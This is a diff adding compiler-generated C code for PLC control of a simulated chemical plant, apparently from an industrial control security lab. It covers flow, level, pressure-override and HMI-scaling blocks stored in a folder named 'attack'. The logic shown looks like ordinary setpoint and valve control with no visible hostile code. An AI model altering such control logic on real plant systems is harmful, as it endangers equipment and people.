__INIT_VAR(data__->FLOW_SET_REAL,100.0,retain) + __INIT_VAR(data__->FLOW_SET_IN,6554,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB59_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->ADD58_OUT,0,retain) + __INIT_VAR(data__->LIMIT40_OUT,0,retain) +} + +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,PRODUCT_FLOW_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->FLOW_SET_IN,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,FLOW_SET_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->,SUB59_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->FLOW_SET_REAL,), + (REAL)__GET_VAR(data__->PRODUCT_FLOW_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB59_OUT,), + (REAL)__GET_VAR(data__->FLOW_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,CURR_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,ADD58_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT40_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD58_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT40_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // FLOW_CONTROL_body__() + + + + + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->LIQUID_LEVEL,0,retain) + __INIT_VAR(data__->LEVEL_SP,30000,retain) + __INIT_VAR(data__->CURR_POS,0,retain) + __INIT_VAR(data__->NEW_POS,0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->LEVEL_K,10.0,retain) + __INIT_VAR(data__->LEVEL_TI,99999.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->LEVEL_MAX,100.0,retain) + __INIT_VAR(data__->LEVEL_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->LEVEL_REAL,44.18,retain) + __INIT_VAR(data__->POS_REAL,47.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->SP_REAL,44.18,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB32_OUT,0,retain) + __INIT_VAR(data__->MUL33_OUT,0,retain) + __INIT_VAR(data__->SUB30_OUT,0,retain) + __INIT_VAR(data__->LIMIT25_OUT,0,retain) +} + +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->LIQUID_LEVEL,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,LEVEL_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB32_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->SP_REAL,), + (REAL)__GET_VAR(data__->LEVEL_REAL,))); + __SET_VAR(data__->,MUL33_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB32_OUT,), + (REAL)__GET_VAR(data__->LEVEL_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL33_OUT,)); + __SET_VAR(data__->,SUB30_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT25_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB30_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT25_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // LEVEL_CONTROL_body__() + + + + + +void SCALE_TO_SIGNED_init__(SCALE_TO_SIGNED *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->INPUT_UINT,0,retain) + __INIT_VAR(data__->OUTPUT_INT,0,retain) + __INIT_VAR(data__->DIV3_OUT,0,retain) + __INIT_VAR(data__->ABS8_OUT,0,retain) + __INIT_VAR(data__->UINT_TO_INT9_OUT,0,retain) +} + +// Code part +void SCALE_TO_SIGNED_body__(SCALE_TO_SIGNED *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV3_OUT,,DIV__UINT__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->INPUT_UINT,), + (UINT)2)); + __SET_VAR(data__->,ABS8_OUT,,ABS__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->DIV3_OUT,))); + __SET_VAR(data__->,UINT_TO_INT9_OUT,,UINT_TO_INT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->ABS8_OUT,))); + __SET_VAR(data__->,OUTPUT_INT,,__GET_VAR(data__->UINT_TO_INT9_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_SIGNED_body__() + + + + + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->CURR_SP,58981,retain) + __INIT_VAR(data__->CURR_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRODUCT_SP_REAL,100.0,retain) + __INIT_VAR(data__->SP_UPDATE,0.0,retain) + __INIT_VAR(data__->PRODUCT_SP_NOMINL,100.0,retain) + __INIT_VAR(data__->PRODUCT_SP,13107,retain) + __INIT_VAR(data__->OVERRIDE_SP_REAL,2900.0,retain) + __INIT_VAR(data__->OVERRIDE_SP,63350,retain) + __INIT_VAR(data__->OVERRIDE_K,1.0,retain) + __INIT_VAR(data__->OVERRIDE_TI,99999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL7,retain); + __INIT_VAR(data__->PRESSURE_MAX,3000.0,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB86_OUT,0,retain) + __INIT_VAR(data__->MUL87_OUT,0,retain) + __INIT_VAR(data__->MAX84_OUT,0,retain) + __INIT_VAR(data__->ADD85_OUT,0,retain) + __INIT_VAR(data__->LIMIT67_OUT,0,retain) + __INIT_VAR(data__->DIV73_OUT,0,retain) + __INIT_VAR(data__->MUL75_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT79_OUT,0,retain) +} + +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL7.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL7); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL7.SCALED_REAL,)); + __SET_VAR(data__->,SUB86_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->OVERRIDE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL87_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB86_OUT,), + (REAL)__GET_VAR(data__->OVERRIDE_K,))); + __SET_VAR(data__->,MAX84_OUT,,MAX__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->MUL87_OUT,), + (REAL)0.0)); + __SET_VAR(data__->,SP_UPDATE,,__GET_VAR(data__->MAX84_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_SP,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,CURR_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD85_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_SP_REAL,), + (REAL)__GET_VAR(data__->SP_UPDATE,))); + __SET_VAR(data__->,LIMIT67_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)50.0, + (REAL)__GET_VAR(data__->ADD85_OUT,), + (REAL)150.0)); + __SET_VAR(data__->,PRODUCT_SP_REAL,,__GET_VAR(data__->LIMIT67_OUT,)); + __SET_VAR(data__->,DIV73_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRODUCT_SP_REAL,), + (REAL)500.0)); + __SET_VAR(data__->,MUL75_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV73_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT79_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL75_OUT,))); + __SET_VAR(data__->,PRODUCT_SP,,__GET_VAR(data__->REAL_TO_UINT79_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_OVERRIDE_body__() + + + + + +inline UINT __MAIN_MOVE__UINT__UINT1(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE92_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE92_ENO,,__TMP_ENO); + return __res; +} + +void MAIN_init__(MAIN *data__, BOOL retain) { + FLOW_CONTROL_init__(&data__->FLOW_CONTROL0,retain); + __INIT_VAR(data__->FIRST_RUN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SET,0,retain) + __INIT_VAR(data__->A_SETPOINT,0,retain) + __INIT_VAR(data__->PRESSURE_SP,0,retain) + __INIT_VAR(data__->OVERRIDE_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + COMPOSITION_CONTROL_init__(&data__->COMPOSITION_CONTROL0,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED0,retain); + __INIT_VAR(data__->F1_VALVE_POS,0,retain) + __INIT_VAR(data__->F1_FLOW,0,retain) + __INIT_VAR(data__->F2_VALVE_POS,0,retain) + __INIT_VAR(data__->F2_FLOW,0,retain) + __INIT_VAR(data__->PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->PURGE_FLOW,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->PRESSURE,0,retain) + __INIT_VAR(data__->LEVEL,0,retain) + __INIT_VAR(data__->A_IN_PURGE,0,retain) + __INIT_VAR(data__->B_IN_PURGE,0,retain) + __INIT_VAR(data__->C_IN_PURGE,0,retain) + __INIT_VAR(data__->F1_VALVE_SP,0,retain) + __INIT_VAR(data__->F2_VALVE_SP,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SAFE,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SAFE,65535,retain) + __INIT_VAR(data__->F1_VALVE_SAFE,0,retain) + __INIT_VAR(data__->F2_VALVE_SAFE,0,retain) + PRESSURE_CONTROL_init__(&data__->PRESSURE_CONTROL0,retain); + __INIT_VAR(data__->HMI_PRESSURE,0,retain) + __INIT_VAR(data__->HMI_LEVEL,0,retain) + __INIT_VAR(data__->HMI_F1_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F1_FLOW,0,retain) + __INIT_VAR(data__->HMI_F2_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F2_FLOW,0,retain) + __INIT_VAR(data__->HMI_PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PURGE_FLOW,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->SCAN_COUNT,0,retain) + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED1,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED2,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED3,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED4,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED5,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED6,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED7,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED8,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED9,retain); + PRESSURE_OVERRIDE_init__(&data__->PRESSURE_OVERRIDE0,retain); + LEVEL_CONTROL_init__(&data__->LEVEL_CONTROL0,retain); + __INIT_EXTERNAL(BOOL,RUN_BIT,data__->RUN_BIT,retain) + __INIT_VAR(data__->RUN_BIT0,__BOOL_LITERAL(TRUE),retain) + INITIALIZE_SP_init__(&data__->INITIALIZE_SP0,retain); + __INIT_VAR(data__->ADD87_OUT,0,retain) + __INIT_VAR(data__->GE91_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE92_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE92_OUT,0,retain) +} + +// Code part +void MAIN_body__(MAIN *data__) { + // Initialise TEMP variables + + __SET_VAR(data__->INITIALIZE_SP0.,EN,,__GET_VAR(data__->FIRST_RUN,)); + INITIALIZE_SP_body__(&data__->INITIALIZE_SP0); + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FIRST_RUN,,__BOOL_LITERAL(FALSE)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->INITIALIZE_SP0.FLOW_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,A_SETPOINT,,__GET_VAR(data__->INITIALIZE_SP0.A_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,PRESSURE_SP,,__GET_VAR(data__->INITIALIZE_SP0.PRESS_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,OVERRIDE_SP,,__GET_VAR(data__->INITIALIZE_SP0.OVER_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->INITIALIZE_SP0.LEVEL_SP,)); + }; + __SET_VAR(data__->FLOW_CONTROL0.,PRODUCT_FLOW,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->FLOW_CONTROL0.,CURR_POS,,__GET_VAR(data__->F1_VALVE_POS,)); + __SET_VAR(data__->FLOW_CONTROL0.,FLOW_SET_IN,,__GET_VAR(data__->FLOW_SET,)); + FLOW_CONTROL_body__(&data__->FLOW_CONTROL0); + __SET_VAR(data__->,F1_VALVE_SP,,__GET_VAR(data__->FLOW_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE_SP,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,CURR_POS,,__GET_VAR(data__->PURGE_VALVE_POS,)); + PRESSURE_CONTROL_body__(&data__->PRESSURE_CONTROL0); + __SET_VAR(data__->,PURGE_VALVE_SP,,__GET_VAR(data__->PRESSURE_CONTROL0.VALVE_POS,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_IN_PURGE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_SETPOINT,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,CURR_POS,,__GET_VAR(data__->F2_VALVE_POS,)); + COMPOSITION_CONTROL_body__(&data__->COMPOSITION_CONTROL0); + __SET_VAR(data__->,F2_VALVE_SP,,__GET_VAR(data__->COMPOSITION_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,CURR_SP,,__GET_VAR(data__->FLOW_SET,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,OVERRIDE_SP,,__GET_VAR(data__->OVERRIDE_SP,)); + PRESSURE_OVERRIDE_body__(&data__->PRESSURE_OVERRIDE0); + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->PRESSURE_OVERRIDE0.PRODUCT_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LIQUID_LEVEL,,__GET_VAR(data__->LEVEL,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LEVEL_SP,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,CURR_POS,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + LEVEL_CONTROL_body__(&data__->LEVEL_CONTROL0); + __SET_VAR(data__->,PRODUCT_VALVE_SP,,__GET_VAR(data__->LEVEL_CONTROL0.NEW_POS,)); + __SET_VAR(data__->SCALE_TO_SIGNED0.,INPUT_UINT,,__GET_VAR(data__->PRESSURE,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED0); + __SET_VAR(data__->,HMI_PRESSURE,,__GET_VAR(data__->SCALE_TO_SIGNED0.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED1.,INPUT_UINT,,__GET_VAR(data__->LEVEL,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED1); + __SET_VAR(data__->,HMI_LEVEL,,__GET_VAR(data__->SCALE_TO_SIGNED1.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED2.,INPUT_UINT,,__GET_VAR(data__->F1_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED2); + __SET_VAR(data__->,HMI_F1_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED2.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED3.,INPUT_UINT,,__GET_VAR(data__->F2_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED3); + __SET_VAR(data__->,HMI_F2_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED3.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED4.,INPUT_UINT,,__GET_VAR(data__->PURGE_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED4); + __SET_VAR(data__->,HMI_PURGE_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED4.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED5.,INPUT_UINT,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED5); + __SET_VAR(data__->,HMI_PRODUCT_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED5.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED6.,INPUT_UINT,,__GET_VAR(data__->F1_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED6); + __SET_VAR(data__->,HMI_F1_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED6.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED7.,INPUT_UINT,,__GET_VAR(data__->F2_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED7); + __SET_VAR(data__->,HMI_F2_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED7.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED8.,INPUT_UINT,,__GET_VAR(data__->PURGE_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED8); + __SET_VAR(data__->,HMI_PURGE_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED8.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED9.,INPUT_UINT,,__GET_VAR(data__->PRODUCT_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED9); + __SET_VAR(data__->,HMI_PRODUCT_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED9.OUTPUT_INT,)); + __SET_VAR(data__->,ADD87_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->SCAN_COUNT,), + (UINT)1)); + __SET_VAR(data__->,SCAN_COUNT,,__GET_VAR(data__->ADD87_OUT,)); + __SET_VAR(data__->,GE91_OUT,,GE__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->SCAN_COUNT,), + (UINT)32000)); + __SET_VAR(data__->,MOVE92_OUT,,__MAIN_MOVE__UINT__UINT1( + (BOOL)__GET_VAR(data__->GE91_OUT,), + (UINT)0, + data__)); + if (__GET_VAR(data__->MOVE92_ENO,)) { + __SET_VAR(data__->,SCAN_COUNT,,__GET_VAR(data__->MOVE92_OUT,)); + }; + + goto __end; + +__end: + return; +} // MAIN_body__() + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h new file mode 100644 index 0000000..9c89adb --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h @@ -0,0 +1,456 @@ +#include "beremiz.h" +#ifndef __POUS_H +#define __POUS_H + +#include "accessor.h" +#include "iec_std_lib.h" + +__DECLARE_ENUMERATED_TYPE(LOGLEVEL, + LOGLEVEL__CRITICAL, + LOGLEVEL__WARNING, + LOGLEVEL__INFO, + LOGLEVEL__DEBUG +) +// FUNCTION_BLOCK LOGGER +// Data part +typedef struct { + // FB Interface - IN, OUT, 